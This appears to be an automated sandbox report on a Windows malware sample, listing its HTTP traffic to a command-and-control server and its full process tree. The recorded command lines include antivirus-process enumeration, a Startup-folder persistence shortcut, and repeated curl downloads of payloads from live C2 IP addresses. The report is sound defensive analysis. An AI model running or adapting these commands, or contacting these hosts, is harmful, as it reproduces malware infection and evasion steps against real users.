Nov 24, 2024 12:08:00.892553091 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:08:02.229844093 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:08:01 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	50106	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:08:02.420949936 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:08:03.778614998 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:08:03 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	50107	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:08:03.956661940 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:08:05.314522028 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:08:05 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Target ID:	0
Start time:	06:03:54
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'245'183 bytes
MD5 hash:	C938C02A19091A3ACD044001631692C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:03:55
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:03:55
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:03:57
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x2e0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:03:57
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xb80000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:03:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x2e0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:03:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xb80000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:03:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 768032
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:03:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:03:58
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
Wow64 process (32bit):	true
Commandline:	Finish.com G
Imagebase:	0x550000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	06:03:59
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x680000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:03:59
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:04:00
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:04:14
Start date:	24/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js"
Imagebase:	0x7ff61b7d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:04:14
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr" "C:\Users\user\AppData\Local\InnoSphere Dynamics\l"
Imagebase:	0xe30000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:04:20
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\407 2>&1
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:04:20
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:04:21
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Imagebase:	0x3f0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:04:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:04:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:04:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Imagebase:	0x7ff6068e0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:04:23
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:04:23
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:04:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:04:51
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:04:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:04:53
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:04:53
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:04:53
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:04:55
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:04:55
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:04:55
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:04:56
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:04:56
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:04:56
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:04:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:04:58
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:04:58
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:05:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:05:01
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:05:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:05:03
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:05:03
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:05:03
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:05:05
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:05:05
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff757150000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:05:05
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:05:10
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:05:10
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:05:10
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
Wow64 process (32bit):	true
Commandline:	azvw.exe -o xhwq.zip
Imagebase:	0x400000
File size:	167'936 bytes
MD5 hash:	75375C22C72F1BEB76BEA39C22A1ED68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:05:11
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:05:11
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:05:11
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:05:12
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	06:05:12
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	06:05:12
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Imagebase:	0x650000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	06:05:14
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	06:05:14
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
